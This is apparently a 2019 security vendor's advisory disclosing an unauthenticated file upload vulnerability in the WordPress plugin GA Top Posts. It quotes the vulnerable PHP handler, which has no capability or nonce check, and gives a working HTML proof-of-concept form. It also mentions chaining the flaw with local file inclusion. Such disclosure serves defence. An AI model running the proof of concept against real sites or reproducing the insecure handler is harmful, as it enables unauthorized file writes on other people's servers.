30 Jul 2019

Our Proactive Monitoring Caught a Restricted File Upload Vulnerability in The Brand New WordPress Plugin GA Top Posts

One of the ways we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a restricted file upload vulnerability in the brand new plugin GA Top Posts.

The plugin registers the function ga_save_settings() to be accessible through WordPress AJAX functionality to those logged in to WordPress as well as those not logged in:

33
34
add_action( 'wp_ajax_ga_save_settings', array( $this, 'ga_save_settings' ) ); 
add_action( 'wp_ajax_nopriv_ga_save_settings', array( $this, 'ga_save_settings' ) );

Based on the name of the function you might guess that isn’t something that shouldn’t be so widely accessible and it shouldn’t, as it is intended to be accessed from the plugin’s settings page, which is only accessible those logged in to WordPress with the “manage_options” capability, which only Administrator have.

The function includes neither a capabilities check to restrict access or a nonce check to prevent cross-site request forgery (CSRF), before saving files sent with the request to the directory /wp-content/uploads/ga_top_posts/:

321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
function ga_save_settings()
{
	if ($_SERVER['REQUEST_METHOD'] === 'POST') {
 
		if (isset($_FILES['files'])) {
 
			$dir = explode("wp-content", __DIR__);				
 
			$errors = array();
 
			$uploadyear = date("Y", strtotime('now'));
			$uploadmonth = date("m", strtotime('now'));
 
			//$uploaddir = wp_upload_dir($uploadyear."/".$uploadmonth);
			$uploaddir = wp_upload_dir();
			wp_mkdir_p($uploaddir['basedir'].'/ga_top_posts');
 
			//$path = __DIR__.'/uploads/';
			//$path = $uploaddir["path"];
			$path = $uploaddir['basedir'].'/ga_top_posts';
			$extensions = array('p12');
 
			$all_files = count($_FILES['files']['tmp_name']);
 
			for ($i = 0; $i < $all_files; $i++) {
 
				$file_name = sanitize_file_name($_FILES['files']['name'][$i]);
				$file_tmp = $_FILES['files']['tmp_name'][$i];
				$file_type = $_FILES['files']['type'][$i];
				$file_size = $_FILES['files']['size'][$i];
				$temp = explode('.', $_FILES['files']['name'][$i]);
				$file_ext = strtolower(end($temp));
 
				$file = $path."/".$file_name;
 
				if (!in_array($file_ext, $extensions)) {
 
					$errors[] = 'Extension not allowed: ' . $file_name . ' ' . $file_type;
 
				}
 
				if (empty($errors)) {
 
					//move_uploaded_file($file_tmp, $file);
					$contents = file_get_contents($file_tmp);
 
					file_put_contents($file, $contents);

The file being uploaded does have to have the extension .p12, which limits what a hacker could abuse this to do. But one possible way a hacker could take advantage of that is to combine it with a local file inclusion (LFI) vulnerability to execute malicious code.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the contents of a file with the .p12 extension to the directory /wp-content/uploads/ga_top_posts/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=ga_save_settings" method="POST" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.